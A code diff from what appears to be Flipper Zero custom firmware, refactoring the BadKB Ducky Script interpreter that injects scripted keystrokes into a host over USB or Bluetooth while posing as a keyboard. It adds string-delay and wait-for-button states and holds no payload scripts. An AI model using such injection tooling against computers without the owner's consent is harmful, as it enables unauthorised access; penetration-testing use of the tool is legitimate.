"ducky_script_i.h" +#include #define TAG "BadKB" #define WORKER_TAG TAG "Worker" -#define FILE_BUFFER_LEN 16 - -#define SCRIPT_STATE_ERROR (-1) -#define SCRIPT_STATE_END (-2) -#define SCRIPT_STATE_NEXT_LINE (-3) #define BADKB_ASCII_TO_KEY(script, x) \ (((uint8_t)x < 128) ? (script->layout[(uint8_t)x]) : HID_KEYBOARD_NONE) -typedef enum { - WorkerEvtToggle = (1 << 0), - WorkerEvtEnd = (1 << 1), - WorkerEvtConnect = (1 << 2), - WorkerEvtDisconnect = (1 << 3), -} WorkerEvtFlags; - -typedef enum { - LevelRssi122_100, - LevelRssi99_80, - LevelRssi79_60, - LevelRssi59_40, - LevelRssi39_0, - LevelRssiNum, - LevelRssiError = 0xFF, -} LevelRssiRange; +#define HID_BT_KEYS_STORAGE_PATH EXT_PATH("apps/Tools/.bt_hid.keys") /** * Delays for waiting between HID key press and key release @@ -54,121 +30,6 @@ const uint8_t bt_hid_delays[LevelRssiNum] = { 14, // LevelRssi39_0 }; -struct BadKbScript { - FuriHalUsbHidConfig hid_cfg; - BadKbState st; - FuriString* file_path; - FuriString* keyboard_layout; - uint32_t defdelay; - uint16_t layout[128]; - uint32_t stringdelay; - FuriThread* thread; - uint8_t file_buf[FILE_BUFFER_LEN + 1]; - uint8_t buf_start; - uint8_t buf_len; - bool file_end; - FuriString* line; - - FuriString* line_prev; - uint32_t repeat_cnt; - - Bt* bt; -}; - -typedef struct { - char* name; - uint16_t keycode; -} DuckyKey; - -static const DuckyKey ducky_keys[] = { - {"CTRL-ALT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_ALT}, - {"CTRL-SHIFT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_SHIFT}, - {"ALT-SHIFT", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_SHIFT}, - {"ALT-GUI", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_GUI}, - {"GUI-SHIFT", KEY_MOD_LEFT_GUI | KEY_MOD_LEFT_SHIFT}, - {"GUI-CTRL", KEY_MOD_LEFT_GUI | KEY_MOD_LEFT_CTRL}, - - {"CTRL", KEY_MOD_LEFT_CTRL}, - {"CONTROL", KEY_MOD_LEFT_CTRL}, - {"SHIFT", KEY_MOD_LEFT_SHIFT}, - {"ALT", KEY_MOD_LEFT_ALT}, - {"GUI", KEY_MOD_LEFT_GUI}, - {"WINDOWS", KEY_MOD_LEFT_GUI}, - - {"DOWNARROW", HID_KEYBOARD_DOWN_ARROW}, - {"DOWN", HID_KEYBOARD_DOWN_ARROW}, - {"LEFTARROW", HID_KEYBOARD_LEFT_ARROW}, - {"LEFT", HID_KEYBOARD_LEFT_ARROW}, - {"RIGHTARROW", HID_KEYBOARD_RIGHT_ARROW}, - {"RIGHT", HID_KEYBOARD_RIGHT_ARROW}, - {"UPARROW", HID_KEYBOARD_UP_ARROW}, - {"UP", HID_KEYBOARD_UP_ARROW}, - - {"ENTER", HID_KEYBOARD_RETURN}, - {"BREAK", HID_KEYBOARD_PAUSE}, - {"PAUSE", HID_KEYBOARD_PAUSE}, - {"CAPSLOCK", HID_KEYBOARD_CAPS_LOCK}, - {"DELETE", HID_KEYBOARD_DELETE}, - {"BACKSPACE", HID_KEYPAD_BACKSPACE}, - {"END", HID_KEYBOARD_END}, - {"ESC", HID_KEYBOARD_ESCAPE}, - {"ESCAPE", HID_KEYBOARD_ESCAPE}, - {"HOME", HID_KEYBOARD_HOME}, - {"INSERT", HID_KEYBOARD_INSERT}, - {"NUMLOCK", HID_KEYPAD_NUMLOCK}, - {"PAGEUP", HID_KEYBOARD_PAGE_UP}, - {"PAGEDOWN", HID_KEYBOARD_PAGE_DOWN}, - {"PRINTSCREEN", HID_KEYBOARD_PRINT_SCREEN}, - {"SCROLLLOCK", HID_KEYBOARD_SCROLL_LOCK}, - {"SPACE", HID_KEYBOARD_SPACEBAR}, - {"TAB", HID_KEYBOARD_TAB}, - {"MENU", HID_KEYBOARD_APPLICATION}, - {"APP", HID_KEYBOARD_APPLICATION}, - - {"F1", HID_KEYBOARD_F1}, - {"F2", HID_KEYBOARD_F2}, - {"F3", HID_KEYBOARD_F3}, - {"F4", HID_KEYBOARD_F4}, - {"F5", HID_KEYBOARD_F5}, - {"F6", HID_KEYBOARD_F6}, - {"F7", HID_KEYBOARD_F7}, - {"F8", HID_KEYBOARD_F8}, - {"F9", HID_KEYBOARD_F9}, - {"F10", HID_KEYBOARD_F10}, - {"F11", HID_KEYBOARD_F11}, - {"F12", HID_KEYBOARD_F12}, -}; - -static const char ducky_cmd_comment[] = {"REM"}; -static const char ducky_cmd_id[] = {"ID"}; -static const char ducky_cmd_delay[] = {"DELAY "}; -static const char ducky_cmd_string[] = {"STRING "}; -static const char ducky_cmd_defdelay_1[] = {"DEFAULT_DELAY "}; -static const char ducky_cmd_defdelay_2[] = {"DEFAULTDELAY "}; -static const char ducky_cmd_stringdelay_1[] = {"STRINGDELAY "}; -static const char ducky_cmd_stringdelay_2[] = {"STRING_DELAY "}; -static const char ducky_cmd_repeat[] = {"REPEAT "}; -static const char ducky_cmd_sysrq[] = {"SYSRQ "}; - -static const char ducky_cmd_altchar[] = {"ALTCHAR "}; -static const char ducky_cmd_altstr_1[] = {"ALTSTRING "}; -static const char ducky_cmd_altstr_2[] = {"ALTCODE "}; - -static const char ducky_cmd_lang[] = {"DUCKY_LANG"}; - -static const uint8_t numpad_keys[10] = { - HID_KEYPAD_0, - HID_KEYPAD_1, - HID_KEYPAD_2, - HID_KEYPAD_3, - HID_KEYPAD_4, - HID_KEYPAD_5, - HID_KEYPAD_6, - HID_KEYPAD_7, - HID_KEYPAD_8, - HID_KEYPAD_9, -}; - uint8_t bt_timeout = 0; static LevelRssiRange bt_remote_rssi_range(Bt* bt) { @@ -198,7 +59,53 @@ static inline void update_bt_timeout(Bt* bt) { } } -static bool ducky_get_number(const char* param, uint32_t* val) { +typedef enum { + WorkerEvtToggle = (1 << 0), + WorkerEvtEnd = (1 << 1), + WorkerEvtConnect = (1 << 2), + WorkerEvtDisconnect = (1 << 3), +} WorkerEvtFlags; + +static const char ducky_cmd_id[] = {"ID"}; + +static const uint8_t numpad_keys[10] = { + HID_KEYPAD_0, + HID_KEYPAD_1, + HID_KEYPAD_2, + HID_KEYPAD_3, + HID_KEYPAD_4, + HID_KEYPAD_5, + HID_KEYPAD_6, + HID_KEYPAD_7, + HID_KEYPAD_8, + HID_KEYPAD_9, +}; + +uint32_t ducky_get_command_len(const char* line) { + uint32_t len = strlen(line); + for(uint32_t i = 0; i < len; i++) { + if(line[i] == ' ') return i; + } + return 0; +} + +bool ducky_is_line_end(const char chr) { + return ((chr == ' ') || (chr == '\0') || (chr == '\r') || (chr == '\n')); +} + +uint16_t ducky_get_keycode(BadKbScript* bad_kb, const char* param, bool accept_chars) { + uint16_t keycode = ducky_get_keycode_by_name(param); + if(keycode != HID_KEYBOARD_NONE) { + return keycode; + } + + if((accept_chars) && (strlen(param) > 0)) { + return (BADKB_ASCII_TO_KEY(bad_kb, param[0]) & 0xFF); + } + return 0; +} + +bool ducky_get_number(const char* param, uint32_t* val) { uint32_t value = 0; if(sscanf(param, "%lu", &value) == 1) { *val = value; @@ -207,21 +114,9 @@ static bool ducky_get_number(const char* param, uint32_t* val) { return false; } -static uint32_t ducky_get_command_len(const char* line) { - uint32_t len = strlen(line); - for(uint32_t i = 0; i < len; i++) { - if(line[i] == ' ') return i; - } - return 0; -} - -static bool ducky_is_line_end(const char chr) { - return ((chr == ' ') || (chr == '\0') || (chr == '\r') || (chr == '\n')); -} - -static void ducky_numlock_on(BadKbScript* bad_kb) { +void ducky_numlock_on(BadKbScript* bad_kb) { if(bad_kb->bt) { - if((furi_hal_bt_hid_get_led_state() & HID_KB_LED_NUM) == 0) { // FIXME + if((furi_hal_bt_hid_get_led_state() & HID_KB_LED_NUM) == 0) { furi_hal_bt_hid_kb_press(HID_KEYBOARD_LOCK_NUM_LOCK); furi_delay_ms(bt_timeout); furi_hal_bt_hid_kb_release(HID_KEYBOARD_LOCK_NUM_LOCK); @@ -234,7 +129,7 @@ static void ducky_numlock_on(BadKbScript* bad_kb) { } } -static bool ducky_numpad_press(BadKbScript* bad_kb, const char num) { +bool ducky_numpad_press(BadKbScript* bad_kb, const char num) { if((num < '0') || (num > '9')) return false; uint16_t key = numpad_keys[num - '0']; @@ -250,12 +145,10 @@ static bool ducky_numpad_press(BadKbScript* bad_kb, const char num) { return true; } -static bool ducky_altchar(BadKbScript* bad_kb, const char* charcode) { +bool ducky_altchar(BadKbScript* bad_kb, const char* charcode) { uint8_t i = 0; bool state = false; - FURI_LOG_I(WORKER_TAG, "char %s", charcode); - if(bad_kb->bt) { furi_hal_bt_hid_kb_press(KEY_MOD_LEFT_ALT); } else { @@ -276,7 +169,7 @@ static bool ducky_altchar(BadKbScript* bad_kb, const char* charcode) { return state; } -static bool ducky_altstring(BadKbScript* bad_kb, const char* param) { +bool ducky_altstring(BadKbScript* bad_kb, const char* param) { uint32_t i = 0; bool state = false; @@ -296,11 +189,57 @@ static bool ducky_altstring(BadKbScript* bad_kb, const char* param) { return state; } -static bool ducky_string(BadKbScript* bad_kb, const char* param) { +int32_t ducky_error(BadKbScript* bad_kb, const char* text, ...) { + va_list args; + va_start(args, text); + + vsnprintf(bad_kb->st.error, sizeof(bad_kb->st.error), text, args); + + va_end(args); + return SCRIPT_STATE_ERROR; +} + +bool ducky_string(BadKbScript* bad_kb, const char* param) { uint32_t i = 0; while(param[i] != '\0') { - uint16_t keycode = BADKB_ASCII_TO_KEY(bad_kb, param[i]); + if(param[i] != '\n') { + uint16_t keycode = BADKB_ASCII_TO_KEY(bad_kb, param[i]); + if(keycode != HID_KEYBOARD_NONE) { + if(bad_kb->bt) { + furi_hal_bt_hid_kb_press(keycode); + furi_delay_ms(bt_timeout); + furi_hal_bt_hid_kb_release(keycode); + } else { + furi_hal_hid_kb_press(keycode); + furi_hal_hid_kb_release(keycode); + } + } + } else { + if(bad_kb->bt) { + furi_hal_bt_hid_kb_press(HID_KEYBOARD_RETURN); + furi_delay_ms(bt_timeout); + furi_hal_bt_hid_kb_release(HID_KEYBOARD_RETURN); + } else { + furi_hal_hid_kb_press(HID_KEYBOARD_RETURN); + furi_hal_hid_kb_release(HID_KEYBOARD_RETURN); + } + } + i++; + } + bad_kb->stringdelay = 0; + return true; +} + +static bool ducky_string_next(BadKbScript* bad_kb) { + if(bad_kb->string_print_pos >= furi_string_size(bad_kb->string_print)) { + return true; + } + + char print_char = furi_string_get_char(bad_kb->string_print, bad_kb->string_print_pos); + + if(print_char != '\n') { + uint16_t keycode = BADKB_ASCII_TO_KEY(bad_kb, print_char); if(keycode != HID_KEYBOARD_NONE) { if(bad_kb->bt) { furi_hal_bt_hid_kb_press(keycode); @@ -310,163 +249,57 @@ static bool ducky_string(BadKbScript* bad_kb, const char* param) { furi_hal_hid_kb_press(keycode); furi_hal_hid_kb_release(keycode); } - if(bad_kb->stringdelay > 0) { - furi_delay_ms(bad_kb->stringdelay); - } } - i++; - } - bad_kb->stringdelay = 0; - return true; -} - -static uint16_t ducky_get_keycode(BadKbScript* bad_kb, const char* param, bool accept_chars) { - for(size_t i = 0; i < (sizeof(ducky_keys) / sizeof(ducky_keys[0])); i++) { - size_t key_cmd_len = strlen(ducky_keys[i].name); - if((strncmp(param, ducky_keys[i].name, key_cmd_len) == 0) && - (ducky_is_line_end(param[key_cmd_len]))) { - return ducky_keys[i].keycode; + } else { + if(bad_kb->bt) { + furi_hal_bt_hid_kb_press(HID_KEYBOARD_RETURN); + furi_delay_ms(bt_timeout); + furi_hal_bt_hid_kb_release(HID_KEYBOARD_RETURN); + } else { + furi_hal_hid_kb_press(HID_KEYBOARD_RETURN); + furi_hal_hid_kb_release(HID_KEYBOARD_RETURN); } } - if((accept_chars) && (strlen(param) > 0)) { - return (BADKB_ASCII_TO_KEY(bad_kb, param[0]) & 0xFF); - } - return 0; + + bad_kb->string_print_pos++; + + return false; } -static int32_t - ducky_parse_line(BadKbScript* bad_kb, FuriString* line, char* error, size_t error_len) { +static int32_t ducky_parse_line(BadKbScript* bad_kb, FuriString* line) { uint32_t line_len = furi_string_size(line); const char* line_tmp = furi_string_get_cstr(line); - bool state = false; if(line_len == 0) { return SCRIPT_STATE_NEXT_LINE; // Skip empty lines } - FURI_LOG_D(WORKER_TAG, "line:%s", line_tmp); - // General commands - if(strncmp(line_tmp, ducky_cmd_comment, strlen(ducky_cmd_comment)) == 0) { - // REM - comment line - return (0); - } else if(strncmp(line_tmp, ducky_cmd_id, strlen(ducky_cmd_id)) == 0) { - // ID - executed in ducky_script_preload - return (0); - } else if(strncmp(line_tmp, ducky_cmd_lang, strlen(ducky_cmd_lang)) == 0) { - // DUCKY_LANG - ignore command to retain compatibility with existing scripts - return (0); - } else if(strncmp(line_tmp, ducky_cmd_delay, strlen(ducky_cmd_delay)) == 0) { - // DELAY - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - uint32_t delay_val = 0; - state = ducky_get_number(line_tmp, &delay_val); - if((state) && (delay_val > 0)) { - return (int32_t)delay_val; - } - if(error != NULL) { - snprintf(error, error_len, "Invalid number %s", line_tmp); - } - return SCRIPT_STATE_ERROR; - } else if( - (strncmp(line_tmp, ducky_cmd_defdelay_1, strlen(ducky_cmd_defdelay_1)) == 0) || - (strncmp(line_tmp, ducky_cmd_defdelay_2, strlen(ducky_cmd_defdelay_2)) == 0)) { - // DEFAULT_DELAY - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - state = ducky_get_number(line_tmp, &bad_kb->defdelay); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid number %s", line_tmp); - } - return (state) ? (0) : SCRIPT_STATE_ERROR; - } else if( - (strncmp(line_tmp, ducky_cmd_stringdelay_1, strlen(ducky_cmd_stringdelay_1)) == 0) || - (strncmp(line_tmp, ducky_cmd_stringdelay_2, strlen(ducky_cmd_stringdelay_2)) == 0)) { - //STRINGDELAY, finally it's here - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - state = ducky_get_number(line_tmp, &bad_kb->stringdelay); - if((state) && (bad_kb->stringdelay > 0)) { - return state; - } - if(error != NULL) { - snprintf(error, error_len, "Invalid number %s", line_tmp); - } - return SCRIPT_STATE_ERROR; - } else if(strncmp(line_tmp, ducky_cmd_string, strlen(ducky_cmd_string)) == 0) { - // STRING - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - state = ducky_string(bad_kb, line_tmp); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid string %s", line_tmp); - } - return (state) ? (0) : SCRIPT_STATE_ERROR; - } else if(strncmp(line_tmp, ducky_cmd_altchar, strlen(ducky_cmd_altchar)) == 0) { - // ALTCHAR - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - ducky_numlock_on(bad_kb); - state = ducky_altchar(bad_kb, line_tmp); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid altchar %s", line_tmp); - } - return (state) ? (0) : SCRIPT_STATE_ERROR; - } else if( - (strncmp(line_tmp, ducky_cmd_altstr_1, strlen(ducky_cmd_altstr_1)) == 0) || - (strncmp(line_tmp, ducky_cmd_altstr_2, strlen(ducky_cmd_altstr_2)) == 0)) { - // ALTSTRING - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - ducky_numlock_on(bad_kb); - state = ducky_altstring(bad_kb, line_tmp); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid altstring %s", line_tmp); - } - return (state) ? (0) : SCRIPT_STATE_ERROR; - } else if(strncmp(line_tmp, ducky_cmd_repeat, strlen(ducky_cmd_repeat)) == 0) { - // REPEAT - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - state = ducky_get_number(line_tmp, &bad_kb->repeat_cnt); - if(!state && error != NULL) { - snprintf(error, error_len, "Invalid number %s", line_tmp); - } - return (state) ? (0) : SCRIPT_STATE_ERROR; - } else if(strncmp(line_tmp, ducky_cmd_sysrq, strlen(ducky_cmd_sysrq)) == 0) { - // SYSRQ - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - uint16_t key = ducky_get_keycode(bad_kb, line_tmp, true); - if(bad_kb->bt) { - furi_hal_bt_hid_kb_press(KEY_MOD_LEFT_ALT | HID_KEYBOARD_PRINT_SCREEN); - furi_hal_bt_hid_kb_press(key); - furi_delay_ms(bt_timeout); - furi_hal_bt_hid_kb_release(key); - furi_hal_bt_hid_kb_release(KEY_MOD_LEFT_ALT | HID_KEYBOARD_PRINT_SCREEN); - } else { - furi_hal_hid_kb_press(KEY_MOD_LEFT_ALT | HID_KEYBOARD_PRINT_SCREEN); - furi_hal_hid_kb_press(key); - furi_hal_hid_kb_release_all(); - } - return (0); - } else { - // Special keys + modifiers - uint16_t key = ducky_get_keycode(bad_kb, line_tmp, false); - if(key == HID_KEYBOARD_NONE) { - if(error != NULL) { - snprintf(error, error_len, "No keycode defined for %s", line_tmp); - } - return SCRIPT_STATE_ERROR; - } - if((key & 0xFF00) != 0) { - // It's a modifier key - line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - key |= ducky_get_keycode(bad_kb, line_tmp, true); - } - if(bad_kb->bt) { - furi_hal_bt_hid_kb_press(key); - furi_delay_ms(bt_timeout); - furi_hal_bt_hid_kb_release(key); - } else { - furi_hal_hid_kb_press(key); - furi_hal_hid_kb_release(key); - } - return (0); + // Ducky Lang Functions + int32_t cmd_result = ducky_execute_cmd(bad_kb, line_tmp); + if(cmd_result != SCRIPT_STATE_CMD_UNKNOWN) { + return cmd_result; } + + // Special keys + modifiers + uint16_t key = ducky_get_keycode(bad_kb, line_tmp, false); + if(key == HID_KEYBOARD_NONE) { + return ducky_error(bad_kb, "No keycode defined for %s", line_tmp); + } + if((key & 0xFF00) != 0) { + // It's a modifier key + line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; + key |= ducky_get_keycode(bad_kb, line_tmp, true); + } + if(bad_kb->bt) { + furi_hal_bt_hid_kb_press(key); + furi_delay_ms(bt_timeout); + furi_hal_bt_hid_kb_release(key); + } else { + furi_hal_hid_kb_press(key); + furi_hal_hid_kb_release(key); + } + return 0; } static bool ducky_set_usb_id(BadKbScript* bad_kb, const char* line) { @@ -546,10 +379,13 @@ static int32_t ducky_script_execute_next(BadKbScript* bad_kb, File* script_file) if(bad_kb->repeat_cnt > 0) { bad_kb->repeat_cnt--; - delay_val = ducky_parse_line( - bad_kb, bad_kb->line_prev, bad_kb->st.error, sizeof(bad_kb->st.error)); + delay_val = ducky_parse_line(bad_kb, bad_kb->line_prev); if(delay_val == SCRIPT_STATE_NEXT_LINE) { // Empty line return 0; + } else if(delay_val == SCRIPT_STATE_STRING_START) { // Print string with delays + return delay_val; + } else if(delay_val == SCRIPT_STATE_WAIT_FOR_BTN) { // wait for button + return delay_val; } else if(delay_val < 0) { // Script error bad_kb->st.error_line = bad_kb->st.line_cur - 1; FURI_LOG_E(WORKER_TAG, "Unknown command at line %u", bad_kb->st.line_cur - 1U); @@ -582,20 +418,16 @@ static int32_t ducky_script_execute_next(BadKbScript* bad_kb, File* script_file) bad_kb->buf_len = bad_kb->buf_len + bad_kb->buf_start - (i + 1); bad_kb->buf_start = i + 1; furi_string_trim(bad_kb->line); - delay_val = ducky_parse_line( - bad_kb, bad_kb->line, bad_kb->st.error, sizeof(bad_kb->st.error)); + delay_val = ducky_parse_line(bad_kb, bad_kb->line); if(delay_val == SCRIPT_STATE_NEXT_LINE) { // Empty line return 0; + } else if(delay_val == SCRIPT_STATE_STRING_START) { // Print string with delays + return delay_val; + } else if(delay_val == SCRIPT_STATE_WAIT_FOR_BTN) { // wait for button + return delay_val; } else if(delay_val < 0) { bad_kb->st.error_line = bad_kb->st.line_cur; - if(delay_val == SCRIPT_STATE_NEXT_LINE) { - snprintf( - bad_kb->st.error, sizeof(bad_kb->st.error), "Forbidden empty line"); - FURI_LOG_E( - WORKER_TAG, "Forbidden empty line at line %u", bad_kb->st.line_cur); - } else { - FURI_LOG_E(WORKER_TAG, "Unknown command at line %u", bad_kb->st.line_cur); - } + FURI_LOG_E(WORKER_TAG, "Unknown command at line %u", bad_kb->st.line_cur); return SCRIPT_STATE_ERROR; } else { return (delay_val + bad_kb->defdelay); @@ -607,11 +439,13 @@ static int32_t ducky_script_execute_next(BadKbScript* bad_kb, File* script_file) bad_kb->buf_len = 0; if(bad_kb->file_end) return SCRIPT_STATE_END; } + + return 0; } static void bad_kb_bt_hid_state_callback(BtStatus status, void* context) { furi_assert(context); - BadKbScript* bad_kb = (BadKbScript*)context; + BadKbScript* bad_kb = context; bool state = (status == BtStatusConnected); if(state == true) { @@ -636,95 +470,6 @@ static void bad_kb_usb_hid_state_callback(bool state, void* context) { } } -void bad_kb_reload_worker(BadKbApp* app) { - bad_kb_script_close(app->bad_kb_script); - app->bad_kb_script = bad_kb_script_open(app->file_path, app->is_bt ? app->bt : NULL); - bad_kb_script_set_keyboard_layout(app->bad_kb_script, app->keyboard_layout); -} - -void bad_kb_config_switch_mode(BadKbApp* app) { - scene_manager_previous_scene(app->scene_manager); - if(app->is_bt) { - furi_hal_bt_start_advertising(); - scene_manager_next_scene(app->scene_manager, BadKbSceneConfigBt); - } else { - furi_hal_bt_stop_advertising(); - scene_manager_next_scene(app->scene_manager, BadKbSceneConfigUsb); - } - bad_kb_reload_worker(app); -} - -void bad_kb_config_switch_remember_mode(BadKbApp* app) { - if(app->bt_remember) { - // set bouding mac - uint8_t mac[6] = BAD_KB_BOUND_MAC_ADDRESS; - furi_hal_bt_set_profile_pairing_method( - FuriHalBtProfileHidKeyboard, GapPairingPinCodeVerifyYesNo); - bt_set_profile_mac_address(app->bt, mac); // this also restart bt - // enable keys storage - bt_enable_peer_key_update(app->bt); - } else { - // set back user defined mac address - furi_hal_bt_set_profile_pairing_method(FuriHalBtProfileHidKeyboard, GapPairingNone); - bt_set_profile_mac_address(app->bt, app->mac); - // disable key storage - bt_disable_peer_key_update(app->bt); - } - bad_kb_reload_worker(app); -} - -int32_t bad_kb_connection_init(BadKbApp* app) { - app->usb_prev_mode = furi_hal_usb_get_config(); - furi_hal_usb_set_config(NULL, NULL); - - bt_timeout = bt_hid_delays[LevelRssi39_0]; - bt_disconnect(app->bt); - // furi_delay_ms(200); - bt_keys_storage_set_storage_path(app->bt, BAD_KB_APP_PATH_BOUND_KEYS_FILE); - app->bt_prev_mode = furi_hal_bt_get_profile_pairing_method(FuriHalBtProfileHidKeyboard); - if(app->bt_remember) { - uint8_t mac[6] = BAD_KB_BOUND_MAC_ADDRESS; - furi_hal_bt_set_profile_mac_addr(FuriHalBtProfileHidKeyboard, mac); - // using GapPairingNone breaks bounding between devices - furi_hal_bt_set_profile_pairing_method( - FuriHalBtProfileHidKeyboard, GapPairingPinCodeVerifyYesNo); - } else { - furi_hal_bt_set_profile_pairing_method(FuriHalBtProfileHidKeyboard, GapPairingNone); - } - - bt_set_profile(app->bt, BtProfileHidKeyboard); - if(app->is_bt) { - furi_hal_bt_start_advertising(); - if(app->bt_remember) { - bt_enable_peer_key_update(app->bt); - } else { - bt_disable_peer_key_update(app->bt); // disable peer key adding to bt SRAM storage - } - } else { - furi_hal_bt_stop_advertising(); - } - - return 0; -} - -void bad_kb_connection_deinit(BadKbApp* app) { - furi_hal_usb_set_config(app->usb_prev_mode, NULL); - - // bt_hid_hold_while_keyboard_buffer_full(6, 3000); // release all keys - bt_disconnect(app->bt); // stop ble - // furi_delay_ms(200); // Wait 2nd core to update nvm storage - bt_keys_storage_set_default_path(app->bt); - if(app->bt_remember) { - // hal primitives doesn't restarts ble, that's what we want cuz we are shutting down - furi_hal_bt_set_profile_mac_addr(FuriHalBtProfileHidKeyboard, app->mac); - } - bt_enable_peer_key_update(app->bt); // starts saving peer keys (bounded devices) - // fails if ble radio stack isn't ready when switching profile - // if it happens, maybe we should increase the delay after bt_disconnect - bt_set_profile(app->bt, BtProfileSerial); - furi_hal_bt_set_profile_pairing_method(FuriHalBtProfileHidKeyboard, app->bt_prev_mode); -} - static uint32_t bad_kb_flags_get(uint32_t flags_mask, uint32_t timeout) { uint32_t flags = furi_thread_flags_get(); furi_check((flags & FuriFlagError) == 0); @@ -744,17 +489,18 @@ static int32_t bad_kb_worker(void* context) { BadKbWorkerState worker_state = BadKbStateInit; int32_t delay_val = 0; + FURI_LOG_I(WORKER_TAG, "Init"); + File* script_file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); + bad_kb->line = furi_string_alloc(); + bad_kb->line_prev = furi_string_alloc(); + bad_kb->string_print = furi_string_alloc(); + if(bad_kb->bt) { bt_set_status_changed_callback(bad_kb->bt, bad_kb_bt_hid_state_callback, bad_kb); } else { furi_hal_hid_set_state_callback(bad_kb_usb_hid_state_callback, bad_kb); } - FURI_LOG_I(WORKER_TAG, "Init"); - File* script_file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); - bad_kb->line = furi_string_alloc(); - bad_kb->line_prev = furi_string_alloc(); - while(1) { if(worker_state == BadKbStateInit) { // State: initialization if(storage_file_open( @@ -788,6 +534,7 @@ static int32_t bad_kb_worker(void* context) { } else if(worker_state == BadKbStateNotConnected) { // State: Not connected uint32_t flags = bad_kb_flags_get( WorkerEvtEnd | WorkerEvtConnect | WorkerEvtToggle, FuriWaitForever); + if(flags & WorkerEvtEnd) { break; } else if(flags & WorkerEvtConnect) { @@ -800,6 +547,7 @@ static int32_t bad_kb_worker(void* context) { } else if(worker_state == BadKbStateIdle) { // State: ready to start uint32_t flags = bad_kb_flags_get( WorkerEvtEnd | WorkerEvtToggle | WorkerEvtDisconnect, FuriWaitForever); + if(flags & WorkerEvtEnd) { break; } else if(flags & WorkerEvtToggle) { // Start executing script @@ -810,6 +558,7 @@ static int32_t bad_kb_worker(void* context) { bad_kb->defdelay = 0; bad_kb->stringdelay = 0; bad_kb->repeat_cnt = 0; + bad_kb->key_hold_nb = 0; bad_kb->file_end = false; storage_file_seek(script_file, 0, true); bad_kb_script_set_keyboard_layout(bad_kb, bad_kb->keyboard_layout); @@ -822,6 +571,7 @@ static int32_t bad_kb_worker(void* context) { } else if(worker_state == BadKbStateWillRun) { // State: start on connection uint32_t flags = bad_kb_flags_get( WorkerEvtEnd | WorkerEvtConnect | WorkerEvtToggle, FuriWaitForever); + if(flags & WorkerEvtEnd) { break; } else if(flags & WorkerEvtConnect) { // Start executing script @@ -859,6 +609,7 @@ static int32_t bad_kb_worker(void* context) { uint16_t delay_cur = (delay_val > 1000) ? (1000) : (delay_val); uint32_t flags = furi_thread_flags_wait( WorkerEvtEnd | WorkerEvtToggle | WorkerEvtDisconnect, FuriFlagWaitAny, delay_cur); + delay_val -= delay_cur; if(!(flags & FuriFlagError)) { if(flags & WorkerEvtEnd) { @@ -893,6 +644,11 @@ static int32_t bad_kb_worker(void* context) { delay_val = 0; worker_state = BadKbStateScriptError; bad_kb->st.state = worker_state; + if(bad_kb->bt) { + furi_hal_bt_hid_kb_release_all(); + } else { + furi_hal_hid_kb_release_all(); + } } else if(delay_val == SCRIPT_STATE_END) { // End of script delay_val = 0; worker_state = BadKbStateIdle; @@ -903,6 +659,13 @@ static int32_t bad_kb_worker(void* context) { furi_hal_hid_kb_release_all(); } continue; + } else if(delay_val == SCRIPT_STATE_STRING_START) { // Start printing string with delays + delay_val = bad_kb->defdelay; + bad_kb->string_print_pos = 0; + worker_state = BadKbStateStringDelay; + } else if(delay_val == SCRIPT_STATE_WAIT_FOR_BTN) { // set state to wait for user input + worker_state = BadKbStateWaitForBtn; + bad_kb->st.state = BadKbStateWaitForBtn; // Show long delays } else if(delay_val > 1000) { bad_kb->st.state = BadKbStateDelay; // Show long delays bad_kb->st.delay_remain = delay_val / 1000; @@ -910,12 +673,66 @@ static int32_t bad_kb_worker(void* context) { } else { furi_check((flags & FuriFlagError) == 0); } + } else if(worker_state == BadKbStateWaitForBtn) { // State: Wait for button Press + uint16_t delay_cur = (delay_val > 1000) ? (1000) : (delay_val); + uint32_t flags = furi_thread_flags_wait( + WorkerEvtEnd | WorkerEvtToggle | WorkerEvtDisconnect, FuriFlagWaitAny, delay_cur); + if(!(flags & FuriFlagError)) { + if(flags & WorkerEvtEnd) { + break; + } else if(flags & WorkerEvtToggle) { + delay_val = 0; + worker_state = BadKbStateRunning; + } else if(flags & WorkerEvtDisconnect) { + worker_state = BadKbStateNotConnected; // USB disconnected + furi_hal_hid_kb_release_all(); + } + bad_kb->st.state = worker_state; + continue; + } + } else if(worker_state == BadKbStateStringDelay) { // State: print string with delays + uint32_t flags = furi_thread_flags_wait( + WorkerEvtEnd | WorkerEvtToggle | WorkerEvtDisconnect, + FuriFlagWaitAny, + bad_kb->stringdelay); + if(!(flags & FuriFlagError)) { + if(flags & WorkerEvtEnd) { + break; + } else if(flags & WorkerEvtToggle) { + worker_state = BadKbStateIdle; // Stop executing script + if(bad_kb->bt) { + furi_hal_bt_hid_kb_release_all(); + } else { + furi_hal_hid_kb_release_all(); + } + } else if(flags & WorkerEvtDisconnect) { + worker_state = BadKbStateNotConnected; // USB disconnected + if(bad_kb->bt) { + furi_hal_bt_hid_kb_release_all(); + } else { + furi_hal_hid_kb_release_all(); + } + } + bad_kb->st.state = worker_state; + continue; + } else if( + (flags == (unsigned)FuriFlagErrorTimeout) || + (flags == (unsigned)FuriFlagErrorResource)) { + bool string_end = ducky_string_next(bad_kb); + if(string_end) { + bad_kb->stringdelay = 0; + worker_state = BadKbStateRunning; + } + } else { + furi_check((flags & FuriFlagError) == 0); + } } else if( (worker_state == BadKbStateFileError) || (worker_state == BadKbStateScriptError)) { // State: error uint32_t flags = 